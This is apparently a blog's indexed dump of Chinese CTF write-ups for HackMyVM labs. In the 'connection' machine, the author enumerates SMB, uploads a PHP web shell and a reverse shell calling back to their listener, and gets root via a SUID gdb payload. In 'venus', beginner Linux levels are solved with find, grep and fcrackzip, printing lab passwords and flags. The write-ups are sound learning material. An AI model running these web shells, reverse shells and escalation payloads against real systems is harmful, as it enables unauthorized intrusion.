smb-os-discovery: | OS: Windows 6.1 (Samba 4.9.5-Debian) | Computer name: connection | NetBIOS computer name: CONNECTION\\x00 | Domain name: \\x00 | FQDN: connection |_ System time: 2026-03-25T02:25:48-04:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_nbstat: NetBIOS name: CONNECTION, NetBIOS user: , NetBIOS MAC: (unknown) | smb2-time: | date: 2026-03-25T06:25:48 |_ start_date: N/A |_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: -1s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.86 seconds 端口有：22 80 139 445。 ","date":"2026-03-25","heading":"前期踩点","objectID":"/p/connection/:1:0","tags":["HackMyVM","Easy"],"title":"connection","uri":"/p/connection/#前期踩点"},{"categories":["靶机复盘"],"collections":null,"content":"SMB 139 445 端口是 SMB 端口，也就是 Windows 文件共享常用的协议端口。 用途：通常用于 文件共享 共享目录访问 打印机共享 局域网认证/资源访问 139 更老一些，走的是NetBIOS，445 是 现代SMB直接跑TCP的端口。 ","date":"2026-03-25","heading":"","objectID":"/p/connection/:2:0","tags":["HackMyVM","Easy"],"title":"connection","uri":"/p/connection/#smb"},{"categories":["靶机复盘"],"collections":null,"content":"smbclient smbclient -L //192.168.174.132 -N # -N 是匿名访问 # -L 列出目标主机上所有共享文件夹的名称 # 如果存在share共享文件，我们如何连接它了 smbclient //192.168.174.132/share -N # 如果需要用户名 smbclient //192.168.174.132/share -U 用户名 进去后常见的命令有： ls cd pwd get filename # 下载文件 put filename # 上传文件 mkdir dirname # 创建文件夹 rm filename # 删除文件 exit 一次性执行命令： smbclient //192.168.174.132/public -N -c 'ls' ","date":"2026-03-25","heading":"smbclient","objectID":"/p/connection/:2:1","tags":["HackMyVM","Easy"],"title":"connection","uri":"/p/connection/#smbclient"},{"categories":["靶机复盘"],"collections":null,"content":"enum4linux enum4linux 是一个自动化枚举工具，主要用来从 SMB、NetBIOS、RPC 里收集目标主机信息。 常见能枚举出： 主机名 工作组/域名 用户名 共享名 密码策略 操作系统信息 RID 用户枚举结果 常见用法： enum4linux 192.168.174.132 更常见的是全量枚举： enum4linux -a 192.168.174.132 常见参数： -a：尽可能做全面枚举 -u 用户名：指定用户名 -p 密码：指定密码 -U：枚举用户 -S：枚举共享 -G：枚举组 -P：查看密码策略 -o：查看 OS 信息 -r：RID 枚举用户 这两个的区别：enum4linux 适合前期信息枚举，smbclient 适合后期共享文件的操作。 ","date":"2026-03-25","heading":"enum4linux","objectID":"/p/connection/:2:2","tags":["HackMyVM","Easy"],"title":"connection","uri":"/p/connection/#enum4linux"},{"categories":["靶机复盘"],"collections":null,"content":"靶机的信息收集 warn@kali:~$ dirsearch -u http://192.168.174.132/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 Output File: /home/warn/reports/http_192.168.174.132/__26-03-25_15-20-24.txt Target: http://192.168.174.132/ [15:20:24] Starting: [15:20:25] 403 - 280B - /.ht_wsr.txt [15:20:25] 403 - 280B - /.htaccess.bak1 [15:20:25] 403 - 280B - /.htaccess.orig [15:20:25] 403 - 280B - /.htaccess.save [15:20:25] 403 - 280B - /.htaccess.sample [15:20:25] 403 - 280B - /.htaccess_extra [15:20:25] 403 - 280B - /.htaccess_orig [15:20:25] 403 - 280B - /.htaccess_sc [15:20:25] 403 - 280B - /.htaccessOLD [15:20:25] 403 - 280B - /.htaccessBAK [15:20:25] 403 - 280B - /.htaccessOLD2 [15:20:25] 403 - 280B - /.htm [15:20:25] 403 - 280B - /.html [15:20:25] 403 - 280B - /.htpasswd_test [15:20:25] 403 - 280B - /.httr-oauth [15:20:25] 403 - 280B - /.htpasswds [15:20:26] 403 - 280B - /.php [15:20:51] 403 - 280B - /server-status [15:20:51] 403 - 280B - /server-status/ Task Completed /var/www/html : 目录啥都没有；只有一个index.html；80端口没有利用的信息。 现在只能把希望寄托与139与445端口。 warn@kali:~$ enum4linux -a 192.168.174.132 # 部分内容 ================================( Share Enumeration on 192.168.174.132 )================================ Sharename Type Comment --------- ---- ------- share Disk print$ Disk Printer Drivers IPC$ IPC IPC Service (Private Share for uploading files) Reconnecting with SMB1 for workgroup listing. Server Comment --------- ------- Workgroup Master --------- ------- WORKGROUP CONNECTION 存在share共享文件夹，Private Share for uploading files告诉我们share共享文件夹可以上传文件。 ","date":"2026-03-25","heading":"靶机的信息收集","objectID":"/p/connection/:3:0","tags":["HackMyVM","Easy"],"title":"connection","uri":"/p/connection/#靶机的信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"漏洞利用 warn@kali:~$ smbclient //192.168.174.132/share -N Anonymous login successful Try \"help\" to get a list of possible commands. smb: \\\u003e ls . D 0 Wed Sep 23 09:48:39 2020 .. D 0 Wed Sep 23 09:48:39 2020 html D 0 Tue Mar 24 22:41:15 2026 7158264 blocks of size 1024. 5448444 blocks available smb: \\\u003e cd html # put 1.php 测试php文件是否可以被网站解析 # put 2.php 进行反弹shell，发现无法进行反弹shell # put php-reverse=shell.php # php-reverse-shell.php 在GitHub上面下载 smb: \\html\\\u003e ls . D 0 Tue Mar 24 22:41:15 2026 .. D 0 Wed Sep 23 09:48:39 2020 php-reverse-shell.php A 5498 Tue Mar 24 22:48:45 2026 index.html N 10701 Wed Sep 23 09:48:45 2020 1.php A 27 Tue Mar 24 22:00:29 2026 2.php A 191 Wed Mar 25 13:30:02 2026 7158264 blocks of size 1024. 5448444 blocks available smb: \\html\\\u003e #1.php \u003c?php system($_GET[1]); ?\u003e #2.php \u003c?php system('sh -i \u003e\u0026 /dev/tcp/192.168.174.132/39666 0\u003e\u00261'); ?\u003e 访问http://192.168.174.132/1.php?1=id: php可以被解析，下一步进行反弹shell。 set_time_limit (0); $VERSION = \"1.0\"; $ip = '192.168.174.130'; // CHANGE THIS $port = 39666; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; # 记得在php-reverse-shell中修改ip和端口。 在本机上运行nc -lvvnp 39666，监听39666端口，访问http://192.168.174.132/php-reverse-shell.php 。 warn@kali:~/Desktop$ nc -lvvnp 39666 listening on [any] 39666 ... connect to [192.168.174.130] from (UNKNOWN) [192.168.174.132] 52124 Linux connection 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux 03:49:05 up 4:43, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ cd /home/connection $ cat local.txt | base64 M2Y0OTE0NDNhMmE2YWE4MmJjODZhM2NkYThjMzk2MTcK ","date":"2026-03-25","heading":"漏洞利用","objectID":"/p/connection/:4:0","tags":["HackMyVM","Easy"],"title":"connection","uri":"/p/connection/#漏洞利用"},{"categories":["靶机复盘"],"collections":null,"content":"提权 find / -perm -4000 -type f -exec ls -al {} \\; 2\u003e/dev/null # 寻找具有suid位的文件 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd -rwsr-sr-x 1 root root 8008480 Oct 14 2019 /usr/bin/gdb -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd # - 第 4 位：属主执行位位置 # - s：有 SUID 且可执行 # - S：有 SUID 但不可执行 # - 第 7 位：属组执行位位置 # - s：有 SGID 且可执行 # - S：有 SGID 但不可执行 进入：https://gtfobins.org/gtfobins/gdb/#shell；搜索gdb。 gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit 这个的成功率比较高。 $ gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit GNU gdb (Debian 8.2.1-2+b3) 8.2.1 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \"show copying\" and \"show warranty\" for details. This GDB was configured as \"x86_64-linux-gnu\". Type \"show configuration\" for configuration details. For bug reporting instructions, please see: . Find the GDB manual and other documentation resources online at: . For help, type \"help\". Type \"apropos word\" to search for commands related to \"word\". id uid=0(root) gid=33(www-data) groups=33(www-data) cd /root ls proof.txt cat proof.txt | base64 YTdjNmVhNDkzMWFiODZmYjU0YzU0MDAyMDQ0NzRhMzkK ","date":"2026-03-25","heading":"提权","objectID":"/p/connection/:5:0","tags":["HackMyVM","Easy"],"title":"connection","uri":"/p/connection/#提权"},{"categories":["靶机复盘"],"collections":null,"content":"总结 这算我第一次打渗透靶场吧！ 不足的地方：现场学习的能力有些差，在做这个靶场的时候，对于139 445 端口的理解只停留在概念上，我只是在搜索关于139 445 端口相关的内容，并没有想应该如何连接139 和 445 端口，对于139 端口 445 端口的信息收集，我应该用哪些工具，我应该如何连接到139端口和445端口，应该使用啥工具去连接和交互，这些都是我没有考虑到的。 遇到的一些问题： gbd 明明具有suid位，我使用网站里面的这个payload：gdb -nx -ex '!/bin/sh' -ex quit，但是并没有获得root 权限。我就感到很困惑，查了一下原因可能有下面几点： /bin/sh 在不少系统里会检测到“真实 UID 和有效 UID 不一致”，然后主动降权运行。 gdb 这类程序以及它调用出来的 shell，很多会主动丢弃提权后的 euid，避免被当成提权入口。 我进行反弹shell的时候，bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.174.132/39666 0\u0026gt;\u0026amp;1，并没有反弹成功，我并不知到哪里出现了错误，我就在GitHub上找php反弹shell的脚本，修改了一下ip和端口，上传上去，发现可以反弹。 如果有人看到我这篇文章，并且做了connection靶机，可以给我解惑一下吗？ 感谢🙇‍。 （不用解惑了，我知道了，这个靶机上就没有/dev/tcp，我也是无语了。） ","date":"2026-03-25","heading":"总结","objectID":"/p/connection/:6:0","tags":["HackMyVM","Easy"],"title":"connection","uri":"/p/connection/#总结"},{"categories":["靶机复盘"],"collections":null,"content":"HackMyVM 靶机 venus 的渗透测试与提权记录","date":"2026-03-08","objectID":"/p/venus/","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/"},{"categories":["靶机复盘"],"collections":null,"content":"说明： 你好，黑客，欢迎来到 HMVLab 第一章：金星！这是一个面向初学者的 CTF 闯关练习，你可以在这里锻炼 Linux 和 CTF 相关技能， 那我们开始吧！:) 首先，每个用户的家目录都在 /pwned/用户名 路径下， 里面会有一个名为 mission.txt 的文件，里面写着你需要完成的任务， 完成任务就能获取下一个用户的密码。 目录里还会有 flagz.txt 文件， 如果你在 https://hackmyvm.eu 注册过账号，可以提交这个文件内容参与排行榜（可选）。 为了增加趣味性，这里还有隐藏关卡和隐藏 flag：D 大部分目录你都没有写入权限，所以如果你需要编写脚本或文件， 请使用 /tmp 目录，注意这个目录会被定期清空…… 最后（同样重要）： 部分用户可以修改 /www 目录下的文件，这些文件可以通过 http://venus.hackmyvm.eu 访问。所以如果你拿到一个能修改 /www/hi.txt 的用户权限， 你写入的内容会显示在 http://venus.hackmyvm.eu/hi.txt 上。 如果你有疑问、想法或想反馈问题，可以加入我们的 Discord： https://discord.gg/DxDFQrJ 记住还有其他人在玩，请保持礼貌。 黑客技术，快乐玩耍！ ","date":"2026-03-08","heading":"","objectID":"/p/venus/:0:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#"},{"categories":["靶机复盘"],"collections":null,"content":"level1 关卡说明：用户 sophia 把她的密码保存在了本目录下的一个隐藏文件里。找到它，并以 sophia 身份登录 ls -al total 40 drwxr-x--- 2 root hacker 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r----- 1 root hacker 31 Apr 5 2024 ... -rw-r--r-- 1 hacker hacker 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 hacker hacker 3526 Apr 23 2023 .bashrc -rw-r----- 1 root hacker 16 Apr 5 2024 .myhiddenpazz -rw-r--r-- 1 hacker hacker 807 Apr 23 2023 .profile -rw-r----- 1 root hacker 287 Apr 5 2024 mission.txt -rw-r----- 1 root hacker 2542 Apr 5 2024 readme.txt file .myhiddenpazz .myhiddenpazz: ASCII text cat .myhiddenpazz Y1o645M3mR84ejc ","date":"2026-03-08","heading":"level1","objectID":"/p/venus/:1:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level1"},{"categories":["靶机复盘"],"collections":null,"content":"level2 关卡说明：用户 angela 把她的密码保存在了一个文件里，但她不记得放在哪儿了…… 她只记得文件名是 whereismypazz.txt。 find / -name whereismypazz.txt 2\u003e/dev/null /usr/share/whereismypazz.txt cat /usr/share/whereismypazz.txt oh5p9gAABugHBje ","date":"2026-03-08","heading":"level2","objectID":"/p/venus/:2:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level2"},{"categories":["靶机复盘"],"collections":null,"content":"level3 关卡说明：用户 emma 的密码，在文件 findme.txt 的第 4069 行。 awk 'NR==4069' findme.txt fIvltaGaq0OUH8O sed -n '4069p' findme.txt # -n 不能显示所有行 4069p 只打印4069行 head -n 4069 findme.txt | tail -n 1 ","date":"2026-03-08","heading":"level3","objectID":"/p/venus/:3:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level3"},{"categories":["靶机复盘"],"collections":null,"content":"level4 关卡说明：用户 mia 把她的密码留在了名为 - 的文件里。 cat ./- iKXIYg0pyEH2Hos cat \u003c - ","date":"2026-03-08","heading":"level4","objectID":"/p/venus/:4:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level4"},{"categories":["靶机复盘"],"collections":null,"content":"level5 关卡说明：用户 camila 似乎把她的密码留在了名为 hereiam 的文件夹里。 find / -name hereiam 2\u003e/dev/null /opt/hereiam ls -al /opt/hereiam total 12 drwxr-xr-x 2 root root 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 root root 16 Apr 5 2024 .here cd /opt/hereiam file .here .here: ASCII text cat .here F67aDmCAAgOOaOc ","date":"2026-03-08","heading":"level5","objectID":"/p/venus/:5:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level5"},{"categories":["靶机复盘"],"collections":null,"content":"level6 关卡说明：用户 luna 把她的密码留在了 muack 文件夹里的一个文件中。 find . -type f -exec file {} \\; | grep \"ASCII text\" ./111/111/muack: ASCII text cat ./111/111/muack j3vkuoKQwvbhkMc ","date":"2026-03-08","heading":"level6","objectID":"/p/venus/:6:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level6"},{"categories":["靶机复盘"],"collections":null,"content":"level7 关卡说明：用户 eleanor 把密码留在了一个大小为 6969 字节的文件里。 find / -size 6969c -type f 2\u003e/dev/null /usr/share/moon.txt cat /usr/share/moon.txt UNDchvln6Bmtu7b ","date":"2026-03-08","heading":"level7","objectID":"/p/venus/:7:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level7"},{"categories":["靶机复盘"],"collections":null,"content":"level8 关卡说明：用户 victoria 把密码留在了一个属主为用户 violin 的文件里。 find / -user violin 2\u003e/dev/null /usr/local/games/yo cat /usr/local/games/yo pz8OqvJBFxH0cSj ","date":"2026-03-08","heading":"level8","objectID":"/p/venus/:8:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level8"},{"categories":["靶机复盘"],"collections":null,"content":"level9 zip的解压方法： # 1. unzip（最常用） unzip data.zip # 2. 查看内容（不解压） unzip -l data.zip # 3. 解压到指定目录 unzip data.zip -d /tmp/output 关卡说明：用户 isla 把她的密码留在了一个 zip 压缩包 里。 file passw0rd.zip passw0rd.zip: Zip archive data, at least v1.0 to extract, compression method=store unzip passw0rd.zip -d /tmp/tmp Archive: passw0rd.zip extracting: /tmp/tmp/pwned/victoria/passw0rd.txt cat /tmp/tmp/pwned/victoria/passw0rd.txt D3XTob0FUImsoBb ","date":"2026-03-08","heading":"level9","objectID":"/p/venus/:9:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level9"},{"categories":["靶机复盘"],"collections":null,"content":"level10 1. 截取单个字符 echo \"hello world\" | cut -c 1 # 输出：h（第1个字符） echo \"hello world\" | cut -c 7 # 输出：w（第7个字符） 2. 截取范围 echo \"hello world\" | cut -c 1-5 # 输出：hello（第1到第5个字符） echo \"hello world\" | cut -c 7-11 # 输出：world 3. 从某位置到结尾 echo \"hello world\" | cut -c 7- # 输出：world（从第7个到结尾） 4. 从开头到某位置 echo \"hello world\" | cut -c -5 # 输出：hello（从开头到第5个） 5. 多个位置 echo \"hello world\" | cut -c 1,3,5 # 输出：hlo（第1、3、5个字符） echo \"hello world\" | cut -c 1-3,7-9 # 输出：helwor（第1-3和第7-9） 对文件操作： # 文件内容： # apple # banana # cherry cut -c 1-3 file.txt # 输出： # app # ban # che 关卡说明：用户 violet 的密码，在以 a9HFX 开头的那一行里（这 5 个字符不算密码本身）。 grep -E \"^a9HFX.*\" passy | cut -c 6- WKINVzNQLKLDVAc ","date":"2026-03-08","heading":"level10","objectID":"/p/venus/:10:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level10"},{"categories":["靶机复盘"],"collections":null,"content":"level11 关卡说明：用户 lucy 的密码在以 0JuAZ 结尾的那一行中（最后这 5 个字符不属于密码） grep -E \".*?0JuAZ$\" end | cut -c -15 OCmMUjebG53giud ","date":"2026-03-08","heading":"level11","objectID":"/p/venus/:11:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level11"},{"categories":["靶机复盘"],"collections":null,"content":"level12 关卡说明：The password of the user elena is between the characters fu and ck grep -a # 当作文本处理 -o # 只输出匹配的部分 -P # 使用 Perl 兼容的正则表达式 # \\K 表示：匹配前面的内容，但不包含在最终结果中。 语法 名称 含义 (?=...) 正向前瞻 后面必须跟着 a，但不包含 a 在匹配结果中 (?!...) 负向前瞻 后面不能是... (?\u003c=...) 正向后顾 前面必须是... (?\u003c!...) 负向后顾 前面不能是... 做法： grep -oP \"fu\\K.*?(?=ck)\" file.yo # 4xZ5lIKYmfPLg9t ","date":"2026-03-08","heading":"level12","objectID":"/p/venus/:12:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level12"},{"categories":["靶机复盘"],"collections":null,"content":"level13 关卡说明：The user alice has her password is in an environment variable. cat /proc/self/environ | tr '\\0' '\\n' | grep -i \"pass\" PASS=Cgecy2MY2MWbaqt ","date":"2026-03-08","heading":"level13","objectID":"/p/venus/:13:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level13"},{"categories":["靶机复盘"],"collections":null,"content":"level14 关卡说明: The admin has left the password of the user anna as a comment in the file passwd. /etc/passwd 一共 7 个字段，用 : 分开 用户名 密码占位（x） UID GID 注释（GECOS） 家目录 Shell 做法： grep -oP \"^(?:[^:]*:){4}\\K[^:]*\" /etc/passwd root daemon bin sys sync games man lp mail news uucp proxy www-data backup Mailing List Manager ircd nobody systemd Network Management MySQL Server,,, systemd Time Synchronization w8NvY27qkpdePox 最后一个就是密码。 (?:...) 是非捕获组 ^ 在开头 匹配输入字符串的开头位置；在中括号中，不匹配中括号内的内容。 ","date":"2026-03-08","heading":"level14","objectID":"/p/venus/:14:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level14"},{"categories":["靶机复盘"],"collections":null,"content":"level15 关卡说明：Maybe sudo can help you to be natalia. # 查看当前用户可以用 sudo 执行什么命令 sudo -l # 输出格式: # (目标用户) 权限要求: 允许的命令 # 例如: # (natalia) NOPASSWD: /bin/bash - 可以无密码切换到natalia并执行bash # (ALL) ALL - 可以以任何用户身份执行任何命令 # (root) /usr/bin/vim - 只能以root身份执行vim sudo -u \u003c用户名\u003e \u003c命令\u003e # 以指定用户的身份执行命令 # -i: 模拟登录 shell (类似 su -) sudo -i # 切换到 root 的登录环境 sudo -u natalia -i # 切换到 natalia 的登录环境 # -s: 启动 shell sudo -s # 启动 root 的 shell sudo -u natalia -s # 启动 natalia 的 shell # -E: 保留当前环境变量 sudo -E command # -k: 清除 sudo 的时间戳(下次需要重新输入密码) sudo -k # -v: 延长 sudo 的时间戳(刷新密码有效期) sudo -v sudo -l # 看看当前用户能执行啥命令 Matching Defaults entries for anna on venus: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty User anna may run the following commands on venus: (natalia) NOPASSWD: /bin/bash sudo -u natalia /bin/bash ","date":"2026-03-08","heading":"level15","objectID":"/p/venus/:15:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level15"},{"categories":["靶机复盘"],"collections":null,"content":"level16 关卡说明：The password of user eva is encoded in the base64.txt file base64 -d base64.txt upsCA3UFu10fDAO ","date":"2026-03-08","heading":"level16","objectID":"/p/venus/:16:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level16"},{"categories":["靶机复盘"],"collections":null,"content":"level17 关卡说明：The password of the clara user is found in a file modified on May 1, 1968. # 查找在特定日期之后修改的文件 find /path -newermt \"2024-01-01\" find /path -newermt \"2024-01-01 10:30:00\" # 查找在特定日期之前修改的文件 find /path ! -newermt \"2024-01-01\" 参数 含义 说明 -mtime n 恰好 n 天前 n*24小时前到(n+1)*24小时前之间 -mtime -n n 天之内 最近 n 天内修改的文件 -mtime +n n 天之前 超过 n 天前修改的文件 # 1. 查找最近 24 小时内修改的文件 find /path -mtime 0 # 2. 查找最近 7 天内修改的文件 find /path -mtime -7 # 包括: 0天前, 1天前, 2天前, ..., 6天前 这道题的时间给的有问题，应该是1970年。 find / ! -newermt \"1970-5-1\" -type f 2\u003e/dev/null /proc/69046/task/69046/fdinfo/6 /proc/69046/fdinfo/5 /usr/lib/cmdo cat /usr/lib/cmdo 39YziWp5gSvgQN9 ls -al /usr/lib/cmdo -rw-r--r-- 1 root root 16 Jan 1 1970 /usr/lib/cmdo find / -type f -mtime +20440 2\u003e/dev/null /usr/lib/cmdo ","date":"2026-03-08","heading":"level17","objectID":"/p/venus/:17:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level17"},{"categories":["靶机复盘"],"collections":null,"content":"level18 关卡说明：The password of user frida is in the password-protected zip (rockyou.txt can help you) fcrackzip -u #使用unzip 测试密码 -D # 使用字典攻击模式 -p # 指定字典攻击模式 scp -P 5000 clara@venus.hackmyvm.eu:~/protected.zip ~/Desktop fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt protected.zip PASSWORD FOUND!!!!: pw == pass123 unzip -P pass123 protected.zip -d /tmp/1.txt Archive: protected.zip extracting: /tmp/1.txt/pwned/clara/protected.txt cat /tmp/1.txt/pwned/clara/protected.txt Ed4ErEUJEaMcXli ","date":"2026-03-08","heading":"level18","objectID":"/p/venus/:18:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level18"},{"categories":["靶机复盘"],"collections":null,"content":"level19 关卡说明：The password of eliza is the only string that is repeated (unsorted) in repeated.txt. uniq -d repeated.txt Fg6b6aoksceQqB9 ","date":"2026-03-08","heading":"level19","objectID":"/p/venus/:19:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level19"},{"categories":["靶机复盘"],"collections":null,"content":"level20 关卡说明：The user iris has left me her key. scp -P 5000 eliza@venus.hackmyvm.eu:~/.iris_key ~/Desktop chmod 600 ./.iris_key ssh -i ./.iris_key iris@venus.hackmyvm.eu -p 5000 # 密码：kYjyoLcnBZ9EJdz ","date":"2026-03-08","heading":"level20","objectID":"/p/venus/:20:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level20"},{"categories":["靶机复盘"],"collections":null,"content":"level21 关卡说明：User eloise has saved her password in a particular way. base64 -d eloise ����JFIF``���ExifMM;sML�J��� \u003e������85��85� �2021:11:10 10:18:032021:11:10 10:18:03sML�� # 看头，发现其是照片。 mkdir /tmp/tm cd /tmp/tm touch 1.jpg base64 -d eloise \u003e /tmp/tm/1.jpg scp -P 5000 iris@venus.hackmyvm.eu:/tmp/tm/1.jpg ~/Desktop yOUJlV0SHOnbSPm ","date":"2026-03-08","heading":"level21","objectID":"/p/venus/:21:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level21"},{"categories":["靶机复盘"],"collections":null,"content":"level22 关卡说明：User lucia has been creative(有创意) in saving her password. cat hi 00000000: 7576 4d77 4644 5172 5157 504d 6547 500a # 发现其是16进制 cat hi | xxd -r uvMwFDQrQWPMeGP # xxd 将2 进制转换为16进制数据 # -r 16 -\u003e 2 ","date":"2026-03-08","heading":"level22","objectID":"/p/venus/:22:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level22"},{"categories":["靶机复盘"],"collections":null,"content":"level23 关卡说明：The user isabel has left her password in a file in the /etc/xdg folder but she does not remember the name, however she has dict.txt that can help her to remember. #!/bin/bash while read path;do cat \"/etc/xdg/${path}\" 2\u003e/dev/null done \u003c ~/dict.txt # 1.sh sh 1.sh H5ol8Z2mrRsorC0 ","date":"2026-03-08","heading":"level23","objectID":"/p/venus/:23:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level23"},{"categories":["靶机复盘"],"collections":null,"content":"level24 关卡说明：The password of the user freya is the only string that is not repeated(重复、重叠) in different.txt sort different.txt | uniq -u EEDyYFDwYsmYawj ","date":"2026-03-08","heading":"level24","objectID":"/p/venus/:24:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level24"},{"categories":["靶机复盘"],"collections":null,"content":"level25 关卡说明：User alexa puts her password in a .txt file in /free every minute and then deletes it. $? 是 Bash 的特殊变量，存储上一个命令的退出码（exit code）。 1.sh #!/bin/bash # while true;do result=$(cat /free/*.txt 2\u003e/dev/null) if [ $? -eq 0 ]; then echo \"$result\" break else echo \"no file\" fi done sh 1.sh no file no file no file no file no file no file no file no file no file no file no file no file mxq9O3MSxxX9Q3S ","date":"2026-03-08","heading":"level25","objectID":"/p/venus/:25:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level25"},{"categories":["靶机复盘"],"collections":null,"content":"level26 关卡说明：The password of the user ariel is online! (HTTP) curl http://localhost 33EtHoz9a0w2Yqo ","date":"2026-03-08","heading":"level26","objectID":"/p/venus/:26:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level26"},{"categories":["靶机复盘"],"collections":null,"content":"level27 关卡说明：Seems that ariel dont save the password for lola, but there is a temporal file. .goas.swp 是Vim 的交换文件（swap file），是 Vim 编辑器的临时文件。 file .goas.swp .goas.swp: Vim swap file, version 8.2, pid 2299, user teste, host deb11, file ~teste/goas, modified mkdir /tmp/t12 vim -r .goas.swp :w /tmp/t12/goas.txt cat /tmp/t12/goas.txt Thats my little DIc with my old and current passw0rds: --\u003eppkJjqYvSCIyAhK --\u003ecOXlRYXtJWnVQEG --rxhKeFKveeKqpwp --\u003eRGBEMbZHZRgXZnu --\u003eIaOpTdAuhSjGZnu --\u003eNdnszvjulNellbK --\u003eGBUguuSpXVjpxLc --\u003erSkPlPhymYcerMJ --\u003ePEOppdOkSqJZweH --\u003eEKvJoTBYlwtwFmv --\u003ed3LieOzRGX5wud6 密码 --\u003emYhQVLDKdJrsIwG --\u003eDabEJLmAbOQxEnD --\u003eLkWReDaaLCMDlLf --\u003ecbjYGSvqAsqIvdg --\u003eQsymOOVbzSaKmRm --\u003ebnQgcXYamhSDSff --\u003eVVjqJGRrnfKmcgD ","date":"2026-03-08","heading":"level27","objectID":"/p/venus/:27:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level27"},{"categories":["靶机复盘"],"collections":null,"content":"level28 关卡说明：The user celeste has left a list of names of possible .html pages where to find her password. curl -s # 静默模式，不显示 grep -q # 静默搜索，返回退出码，不加-q 不返回退出码。 mkdir /tmp/1 vim 1.sh #!/bin/bash while read filename; do result=$(curl -s \"http://localhost/${filename}.html\") if ! echo \"${result}\" | grep -q \"404\"; then echo \"${filename}.html\" echo \"$result\" echo \"===== end =====\" fi done \u003c pages.txt :wq sh 1.sh Real-Time Communication.html ===== end ===== cebolla.html VLSNMTKwSV2o8Tn ===== end ===== ","date":"2026-03-08","heading":"level28","objectID":"/p/venus/:28:0","tags":["HackMyVM"],"title":"venus","uri":"/p/venus/#level28"},{"categories":["靶机复盘"],"collections":null,"content":"level29(mysql) 关卡说明：The user celeste has access to mysql but for what?用户 Celeste 拥有访问 MySQL 数据库的权限，但她这么做的目的是什么呢？ 服务管理命令 # 启动 MySQL sudo systemctl start mysql sudo systemctl start mysqld sudo service mysql start # 停止 MySQL sudo systemctl stop mysql sudo systemctl stop mysqld # 重启 MySQL sudo systemctl restart mysql sudo systemctl restart mysqld # 查看状态 sudo systemctl status mysql sudo systemctl status mysqld # 开机自启 